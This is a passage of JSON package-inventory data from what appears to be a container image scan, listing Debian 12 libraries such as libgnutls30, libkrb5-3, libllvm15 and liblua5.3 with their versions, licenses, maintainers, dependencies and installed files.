"libidn2-0@2.3.3-1+b1", "libnettle8@3.8.1-2", "libp11-kit0@0.24.1-2", "libtasn1-6@4.19.0-2+deb12u1", "libunistring2@1.0-2" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgnutls.so.30.34.3", "/usr/share/doc/libgnutls30/AUTHORS.gz", "/usr/share/doc/libgnutls30/NEWS.Debian.gz", "/usr/share/doc/libgnutls30/NEWS.gz", "/usr/share/doc/libgnutls30/README.md.gz", "/usr/share/doc/libgnutls30/THANKS.gz", "/usr/share/doc/libgnutls30/changelog.Debian.gz", "/usr/share/doc/libgnutls30/changelog.gz", "/usr/share/doc/libgnutls30/copyright", "/usr/share/locale/cs/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/de/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/eo/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/es/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/fi/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/fr/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/it/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/ka/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/ms/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/nl/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/pl/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/ro/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/sr/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/sv/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/uk/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/vi/LC_MESSAGES/gnutls30.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/gnutls30.mo" ], "AnalyzedBy": "dpkg" }, { "ID": "libgomp1@12.2.0-14+deb12u1", "Name": "libgomp1", "Identifier": { "PURL": "pkg:deb/debian/libgomp1@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "ed889dbb3ee885af" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgomp.so.1.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libgpg-error0@1.46-1", "Name": "libgpg-error0", "Identifier": { "PURL": "pkg:deb/debian/libgpg-error0@1.46-1?arch=amd64\u0026distro=debian-12.13", "UID": "59668a3c0d790c5d" }, "Version": "1.46", "Release": "1", "Arch": "amd64", "SrcName": "libgpg-error", "SrcVersion": "1.46", "SrcRelease": "1", "Licenses": [ "LGPL-2.1-or-later", "BSD-3-Clause", "g10-permissive", "GPL-3.0-or-later", "LGPL-2.1-only", "GPL-3.0-only" ], "Maintainer": "Debian GnuPG Maintainers \u003cpkg-gnupg-maint@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libgpg-error.so.0.33.1", "/usr/share/doc/libgpg-error0/README.gz", "/usr/share/doc/libgpg-error0/changelog.Debian.gz", "/usr/share/doc/libgpg-error0/changelog.gz", "/usr/share/doc/libgpg-error0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libgprofng0@2.40-2", "Name": "libgprofng0", "Identifier": { "PURL": "pkg:deb/debian/libgprofng0@2.40-2?arch=amd64\u0026distro=debian-12.13", "UID": "8a4f18aa38caa1fd" }, "Version": "2.40", "Release": "2", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.40", "SrcRelease": "2", "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbinutils@2.40-2", "libc6@2.36-9+deb12u13", "libgcc-s1@12.2.0-14+deb12u1", "libstdc++6@12.2.0-14+deb12u1", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/gprofng/libgp-collector.so", "/usr/lib/x86_64-linux-gnu/gprofng/libgp-collectorAPI.so", "/usr/lib/x86_64-linux-gnu/gprofng/libgp-heap.so", "/usr/lib/x86_64-linux-gnu/gprofng/libgp-iotrace.so", "/usr/lib/x86_64-linux-gnu/gprofng/libgp-sync.so", "/usr/lib/x86_64-linux-gnu/libgprofng.so.0.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libgraphite2-3@1.3.14-1", "Name": "libgraphite2-3", "Identifier": { "PURL": "pkg:deb/debian/libgraphite2-3@1.3.14-1?arch=amd64\u0026distro=debian-12.13", "UID": "4adc02d6e2c346ae" }, "Version": "1.3.14", "Release": "1", "Arch": "amd64", "SrcName": "graphite2", "SrcVersion": "1.3.14", "SrcRelease": "1", "Licenses": [ "LGPL-2.1-or-later", "MPL-1.1", "GPL-2.0-or-later", "public-domain", "Artistic-2.0", "GPL-1.0-or-later", "custom-sil-open-font-license", "GPL-1.0-only", "GPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian LibreOffice Maintainers \u003cdebian-openoffice@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgraphite2.so.3.2.1", "/usr/share/doc/libgraphite2-3/changelog.Debian.gz", "/usr/share/doc/libgraphite2-3/changelog.gz", "/usr/share/doc/libgraphite2-3/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libgssapi-krb5-2@1.20.1-2+deb12u4", "Name": "libgssapi-krb5-2", "Identifier": { "PURL": "pkg:deb/debian/libgssapi-krb5-2@1.20.1-2%2Bdeb12u4?arch=amd64\u0026distro=debian-12.13", "UID": "57d65c29d8f63e2c" }, "Version": "1.20.1", "Release": "2+deb12u4", "Arch": "amd64", "SrcName": "krb5", "SrcVersion": "1.20.1", "SrcRelease": "2+deb12u4", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libcom-err2@1.47.0-2+b2", "libk5crypto3@1.20.1-2+deb12u4", "libkrb5-3@1.20.1-2+deb12u4", "libkrb5support0@1.20.1-2+deb12u4" ], "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2", "/usr/share/doc/libgssapi-krb5-2/changelog.Debian.gz", "/usr/share/doc/libgssapi-krb5-2/copyright", "/usr/share/lintian/overrides/libgssapi-krb5-2" ], "AnalyzedBy": "dpkg" }, { "ID": "libharfbuzz0b@6.0.0+dfsg-3", "Name": "libharfbuzz0b", "Identifier": { "PURL": "pkg:deb/debian/libharfbuzz0b@6.0.0%2Bdfsg-3?arch=amd64\u0026distro=debian-12.13", "UID": "1441ea3374bec9e" }, "Version": "6.0.0+dfsg", "Release": "3", "Arch": "amd64", "SrcName": "harfbuzz", "SrcVersion": "6.0.0+dfsg", "SrcRelease": "3", "Licenses": [ "MIT", "Unicode", "ISC", "Apache-2.0", "OFL-1.1", "Monotype", "CC0-1.0", "GPL-3.0-or-later", "GPL-2+ with Font exception", "UFL-1.0", "FSFULLR", "GPL-2.0-with-autoconf-exception+", "GPL-3.0-with-autoconf-exception+", "FSFAP", "LGPL-2.1-or-later", "GPL-2+ with LibTool exception", "FSFUL", "GPL-2.0-only", "GPL-3.0-only", "LGPL-2.1-only" ], "Maintainer": "أحمد المحمودي (Ahmed El-Mahmoudy) \u003caelmahmoudy@users.sourceforge.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libfreetype6@2.12.1+dfsg-5+deb12u4", "libglib2.0-0@2.74.6-2+deb12u8", "libgraphite2-3@1.3.14-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libharfbuzz.so.0.60000.0", "/usr/share/doc/libharfbuzz0b/changelog.Debian.gz", "/usr/share/doc/libharfbuzz0b/changelog.gz", "/usr/share/doc/libharfbuzz0b/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libhogweed6@3.8.1-2", "Name": "libhogweed6", "Identifier": { "PURL": "pkg:deb/debian/libhogweed6@3.8.1-2?arch=amd64\u0026distro=debian-12.13", "UID": "4380a871bf612313" }, "Version": "3.8.1", "Release": "2", "Arch": "amd64", "SrcName": "nettle", "SrcVersion": "3.8.1", "SrcRelease": "2", "Licenses": [ "LGPL-3.0-or-later", "GPL-2.0-or-later", "LGPL-2.0-or-later", "LGPL-2.0-only", "MIT", "GPL-3.0-or-later", "GPL-3.0-with-autoconf-exception+", "public-domain", "GPL-2.0-only", "GAP" ], "Maintainer": "Magnus Holmgren \u003cholmgren@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libgmp10@2:6.2.1+dfsg1-1.1", "libnettle8@3.8.1-2" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libhogweed.so.6.6", "/usr/share/doc/libhogweed6/changelog.Debian.gz", "/usr/share/doc/libhogweed6/changelog.gz", "/usr/share/doc/libhogweed6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libice6@2:1.0.10-1", "Name": "libice6", "Identifier": { "PURL": "pkg:deb/debian/libice6@1.0.10-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "efaaa181ac1b806" }, "Version": "1.0.10", "Release": "1", "Epoch": 2, "Arch": "amd64", "SrcName": "libice", "SrcVersion": "1.0.10", "SrcRelease": "1", "SrcEpoch": 2, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbsd0@0.11.7-2", "libc6@2.36-9+deb12u13", "x11-common@1:7.7+23" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libICE.so.6.3.0", "/usr/share/doc/libice6/changelog.Debian.gz", "/usr/share/doc/libice6/changelog.gz", "/usr/share/doc/libice6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libicu72@72.1-3+deb12u1", "Name": "libicu72", "Identifier": { "PURL": "pkg:deb/debian/libicu72@72.1-3%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "b84487e3b14f0a20" }, "Version": "72.1", "Release": "3+deb12u1", "Arch": "amd64", "SrcName": "icu", "SrcVersion": "72.1", "SrcRelease": "3+deb12u1", "Licenses": [ "MIT", "GPL-3.0-only" ], "Maintainer": "Laszlo Boszormenyi (GCS) \u003cgcs@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libgcc-s1@12.2.0-14+deb12u1", "libstdc++6@12.2.0-14+deb12u1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libicudata.so.72.1", "/usr/lib/x86_64-linux-gnu/libicui18n.so.72.1", "/usr/lib/x86_64-linux-gnu/libicuio.so.72.1", "/usr/lib/x86_64-linux-gnu/libicutest.so.72.1", "/usr/lib/x86_64-linux-gnu/libicutu.so.72.1", "/usr/lib/x86_64-linux-gnu/libicuuc.so.72.1", "/usr/share/doc/libicu72/changelog.Debian.gz", "/usr/share/doc/libicu72/copyright", "/usr/share/lintian/overrides/libicu72" ], "AnalyzedBy": "dpkg" }, { "ID": "libidn2-0@2.3.3-1+b1", "Name": "libidn2-0", "Identifier": { "PURL": "pkg:deb/debian/libidn2-0@2.3.3-1%2Bb1?arch=amd64\u0026distro=debian-12.13", "UID": "67d6ddff829d0937" }, "Version": "2.3.3", "Release": "1+b1", "Arch": "amd64", "SrcName": "libidn2", "SrcVersion": "2.3.3", "SrcRelease": "1", "Licenses": [ "GPL-3.0-or-later", "LGPL-3.0-or-later", "GPL-2.0-or-later", "Unicode", "GPL-3.0-only", "GPL-2.0-only", "LGPL-3.0-only" ], "Maintainer": "Debian Libidn team \u003chelp-libidn@gnu.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libunistring2@1.0-2" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.8", "/usr/share/doc/libidn2-0/AUTHORS", "/usr/share/doc/libidn2-0/NEWS.gz", "/usr/share/doc/libidn2-0/README.md.gz", "/usr/share/doc/libidn2-0/changelog.Debian.amd64.gz", "/usr/share/doc/libidn2-0/changelog.Debian.gz", "/usr/share/doc/libidn2-0/changelog.gz", "/usr/share/doc/libidn2-0/copyright", "/usr/share/lintian/overrides/libidn2-0", "/usr/share/locale/cs/LC_MESSAGES/libidn2.mo", "/usr/share/locale/da/LC_MESSAGES/libidn2.mo", "/usr/share/locale/de/LC_MESSAGES/libidn2.mo", "/usr/share/locale/eo/LC_MESSAGES/libidn2.mo", "/usr/share/locale/es/LC_MESSAGES/libidn2.mo", "/usr/share/locale/fi/LC_MESSAGES/libidn2.mo", "/usr/share/locale/fr/LC_MESSAGES/libidn2.mo", "/usr/share/locale/fur/LC_MESSAGES/libidn2.mo", "/usr/share/locale/hr/LC_MESSAGES/libidn2.mo", "/usr/share/locale/hu/LC_MESSAGES/libidn2.mo", "/usr/share/locale/id/LC_MESSAGES/libidn2.mo", "/usr/share/locale/it/LC_MESSAGES/libidn2.mo", "/usr/share/locale/ja/LC_MESSAGES/libidn2.mo", "/usr/share/locale/ka/LC_MESSAGES/libidn2.mo", "/usr/share/locale/nl/LC_MESSAGES/libidn2.mo", "/usr/share/locale/pl/LC_MESSAGES/libidn2.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/libidn2.mo", "/usr/share/locale/ro/LC_MESSAGES/libidn2.mo", "/usr/share/locale/ru/LC_MESSAGES/libidn2.mo", "/usr/share/locale/sr/LC_MESSAGES/libidn2.mo", "/usr/share/locale/sv/LC_MESSAGES/libidn2.mo", "/usr/share/locale/uk/LC_MESSAGES/libidn2.mo", "/usr/share/locale/vi/LC_MESSAGES/libidn2.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/libidn2.mo" ], "AnalyzedBy": "dpkg" }, { "ID": "libisl23@0.25-1.1", "Name": "libisl23", "Identifier": { "PURL": "pkg:deb/debian/libisl23@0.25-1.1?arch=amd64\u0026distro=debian-12.13", "UID": "edb1882b19378aa8" }, "Version": "0.25", "Release": "1.1", "Arch": "amd64", "SrcName": "isl", "SrcVersion": "0.25", "SrcRelease": "1.1", "Licenses": [ "MIT", "BSD-2-Clause", "LGPL-2.1-or-later", "LGPL-2.0-only" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libgmp10@2:6.2.1+dfsg1-1.1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libisl.so.23.2.0", "/usr/share/doc/libisl23/changelog.Debian.gz", "/usr/share/doc/libisl23/changelog.gz", "/usr/share/doc/libisl23/copyright", "/usr/share/gdb/auto-load/usr/lib/x86_64-linux-gnu/libisl.so.23.2.0-gdb.py" ], "AnalyzedBy": "dpkg" }, { "ID": "libitm1@12.2.0-14+deb12u1", "Name": "libitm1", "Identifier": { "PURL": "pkg:deb/debian/libitm1@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "56c877e4e31d974b" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libitm.so.1.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libjack-jackd2-0@1.9.21~dfsg-3", "Name": "libjack-jackd2-0", "Identifier": { "PURL": "pkg:deb/debian/libjack-jackd2-0@1.9.21~dfsg-3?arch=amd64\u0026distro=debian-12.13", "UID": "4d9f7e2581ee5f67" }, "Version": "1.9.21~dfsg", "Release": "3", "Arch": "amd64", "SrcName": "jackd2", "SrcVersion": "1.9.21~dfsg", "SrcRelease": "3", "Licenses": [ "LGPL-2.1-or-later", "GPL-2.0-or-later", "GPL-2~either", "GPL-3.0-or-later", "GPL-2.0-only", "LGPL-2.0-or-later", "GPL-2~or", "MIT", "BSD-3-Clause", "public-domain~Kroon", "BSD-2-Clause", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian Multimedia Maintainers \u003cdebian-multimedia@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libdb5.3@5.3.28+dfsg2-1", "libgcc-s1@12.2.0-14+deb12u1", "libopus0@1.3.1-3", "libsamplerate0@0.2.2-3", "libstdc++6@12.2.0-14+deb12u1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libjack.so.0.1.0", "/usr/lib/x86_64-linux-gnu/libjacknet.so.0.1.0", "/usr/lib/x86_64-linux-gnu/libjackserver.so.0.1.0", "/usr/share/doc/libjack-jackd2-0/changelog.Debian.gz", "/usr/share/doc/libjack-jackd2-0/changelog.gz", "/usr/share/doc/libjack-jackd2-0/copyright", "/usr/share/lintian/overrides/libjack-jackd2-0" ], "AnalyzedBy": "dpkg" }, { "ID": "libjansson4@2.14-2", "Name": "libjansson4", "Identifier": { "PURL": "pkg:deb/debian/libjansson4@2.14-2?arch=amd64\u0026distro=debian-12.13", "UID": "fee1fb970ab9cfb9" }, "Version": "2.14", "Release": "2", "Arch": "amd64", "SrcName": "jansson", "SrcVersion": "2.14", "SrcRelease": "2", "Licenses": [ "MIT" ], "Maintainer": "Alessandro Ghedini \u003cghedo@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libjansson.so.4.14.0", "/usr/share/doc/libjansson4/README.rst", "/usr/share/doc/libjansson4/changelog.Debian.gz", "/usr/share/doc/libjansson4/changelog.gz", "/usr/share/doc/libjansson4/copyright", "/usr/share/doc/libjansson4/examples/json_process.c" ], "AnalyzedBy": "dpkg" }, { "ID": "libk5crypto3@1.20.1-2+deb12u4", "Name": "libk5crypto3", "Identifier": { "PURL": "pkg:deb/debian/libk5crypto3@1.20.1-2%2Bdeb12u4?arch=amd64\u0026distro=debian-12.13", "UID": "abe5ae82c001d4aa" }, "Version": "1.20.1", "Release": "2+deb12u4", "Arch": "amd64", "SrcName": "krb5", "SrcVersion": "1.20.1", "SrcRelease": "2+deb12u4", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libkrb5support0@1.20.1-2+deb12u4" ], "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libk5crypto.so.3.1", "/usr/share/doc/libk5crypto3/changelog.Debian.gz", "/usr/share/doc/libk5crypto3/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libkeyutils1@1.6.3-2", "Name": "libkeyutils1", "Identifier": { "PURL": "pkg:deb/debian/libkeyutils1@1.6.3-2?arch=amd64\u0026distro=debian-12.13", "UID": "42de2d9af579f26a" }, "Version": "1.6.3", "Release": "2", "Arch": "amd64", "SrcName": "keyutils", "SrcVersion": "1.6.3", "SrcRelease": "2", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "GPL-2.0-only", "LGPL-2.0-only" ], "Maintainer": "Christian Kastner \u003cckk@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libkeyutils.so.1.10", "/usr/share/doc/libkeyutils1/changelog.Debian.gz", "/usr/share/doc/libkeyutils1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libkrb5-3@1.20.1-2+deb12u4", "Name": "libkrb5-3", "Identifier": { "PURL": "pkg:deb/debian/libkrb5-3@1.20.1-2%2Bdeb12u4?arch=amd64\u0026distro=debian-12.13", "UID": "57354df75f5dabf8" }, "Version": "1.20.1", "Release": "2+deb12u4", "Arch": "amd64", "SrcName": "krb5", "SrcVersion": "1.20.1", "SrcRelease": "2+deb12u4", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libcom-err2@1.47.0-2+b2", "libk5crypto3@1.20.1-2+deb12u4", "libkeyutils1@1.6.3-2", "libkrb5support0@1.20.1-2+deb12u4", "libssl3@3.0.18-1~deb12u2" ], "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/krb5/plugins/preauth/spake.so", "/usr/lib/x86_64-linux-gnu/libkrb5.so.3.3", "/usr/share/doc/libkrb5-3/README.Debian", "/usr/share/doc/libkrb5-3/README.gz", "/usr/share/doc/libkrb5-3/changelog.Debian.gz", "/usr/share/doc/libkrb5-3/copyright", "/usr/share/lintian/overrides/libkrb5-3" ], "AnalyzedBy": "dpkg" }, { "ID": "libkrb5support0@1.20.1-2+deb12u4", "Name": "libkrb5support0", "Identifier": { "PURL": "pkg:deb/debian/libkrb5support0@1.20.1-2%2Bdeb12u4?arch=amd64\u0026distro=debian-12.13", "UID": "265d410917bdc3d8" }, "Version": "1.20.1", "Release": "2+deb12u4", "Arch": "amd64", "SrcName": "krb5", "SrcVersion": "1.20.1", "SrcRelease": "2+deb12u4", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libkrb5support.so.0.1", "/usr/share/doc/libkrb5support0/changelog.Debian.gz", "/usr/share/doc/libkrb5support0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libldap-2.5-0@2.5.13+dfsg-5", "Name": "libldap-2.5-0", "Identifier": { "PURL": "pkg:deb/debian/libldap-2.5-0@2.5.13%2Bdfsg-5?arch=amd64\u0026distro=debian-12.13", "UID": "8abd013240dfa23c" }, "Version": "2.5.13+dfsg", "Release": "5", "Arch": "amd64", "SrcName": "openldap", "SrcVersion": "2.5.13+dfsg", "SrcRelease": "5", "Licenses": [ "OpenLDAP-2.8", "FSF-unlimited", "GPL-2.0-with-autoconf-exception+", "GPL-3.0-with-autoconf-exception+", "GPL-2+ with Libtool exception", "GPL-3+ with Libtool exception", "GPL-3.0-or-later", "GPL-2.0-or-later", "UMich", "F5", "JCG", "MIT-XC", "NeoSoft-permissive", "BSD-3-Clause", "Beerware", "public-domain", "BSD-4-clause-California", "BSD-3-clause-variant", "Expat-ISC", "Expat-UNM", "MIT", "BSD-3-clause-California", "GPL-2.0-only", "GPL-3.0-only" ], "Maintainer": "Debian OpenLDAP Maintainers \u003cpkg-openldap-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libgnutls30@3.7.9-2+deb12u5", "libsasl2-2@2.1.28+dfsg-10" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/liblber-2.5.so.0.1.8", "/usr/lib/x86_64-linux-gnu/libldap-2.5.so.0.1.8", "/usr/share/doc/libldap-2.5-0/README.Debian", "/usr/share/doc/libldap-2.5-0/changelog.Debian.gz", "/usr/share/doc/libldap-2.5-0/changelog.gz", "/usr/share/doc/libldap-2.5-0/copyright", "/usr/share/lintian/overrides/libldap-2.5-0" ], "AnalyzedBy": "dpkg" }, { "ID": "libllvm15@1:15.0.6-4+b1", "Name": "libllvm15", "Identifier": { "PURL": "pkg:deb/debian/libllvm15@15.0.6-4%2Bb1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "1116fa28940f5386" }, "Version": "15.0.6", "Release": "4+b1", "Epoch": 1, "Arch": "amd64", "SrcName": "llvm-toolchain-15", "SrcVersion": "15.0.6", "SrcRelease": "4", "SrcEpoch": 1, "Licenses": [ "APACHE-2-LLVM-EXCEPTIONS", "Apache-2.0", "MIT", "BSD-3-Clause", "solar-public-domain", "Python-2.0" ], "Maintainer": "LLVM Packaging Team \u003cpkg-llvm-team@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libedit2@3.1-20221030-2", "libffi8@3.4.4-1", "libgcc-s1@12.2.0-14+deb12u1", "libstdc++6@12.2.0-14+deb12u1", "libtinfo6@6.4-4", "libxml2@2.9.14+dfsg-1.3~deb12u5", "libz3-4@4.8.12-3.1", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libLLVM-15.so.1", "/usr/share/doc/libllvm15/NEWS.Debian.gz", "/usr/share/doc/libllvm15/changelog.Debian.amd64.gz", "/usr/share/doc/libllvm15/changelog.Debian.gz", "/usr/share/doc/libllvm15/copyright", "/usr/share/lintian/overrides/libllvm15" ], "AnalyzedBy": "dpkg" }, { "ID": "liblsan0@12.2.0-14+deb12u1", "Name": "liblsan0", "Identifier": { "PURL": "pkg:deb/debian/liblsan0@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "ddb5206870c54df2" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13", "libgcc-s1@12.2.0-14+deb12u1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/liblsan.so.0.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "liblua5.3-0@5.3.6-2", "Name": "liblua5.3-0", "Identifier": { "PURL": "pkg:deb/debian/liblua5.3-0@5.3.6-2?arch=amd64\u0026distro=debian-12.13", "UID": "403f86aa25e7ce05" }, "Version": "5.3.6", "Release": "2", "Arch": "amd64", "SrcName": "lua5.3", "SrcVersion": "5.3.6", "SrcRelease": "2", "Licenses": [ "MIT" ], "Maintainer": "Debian Lua Team \u003cpkg-lua-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libstdc++6@12.2.0-14+deb12u1" ], "Layer": { "DiffID": 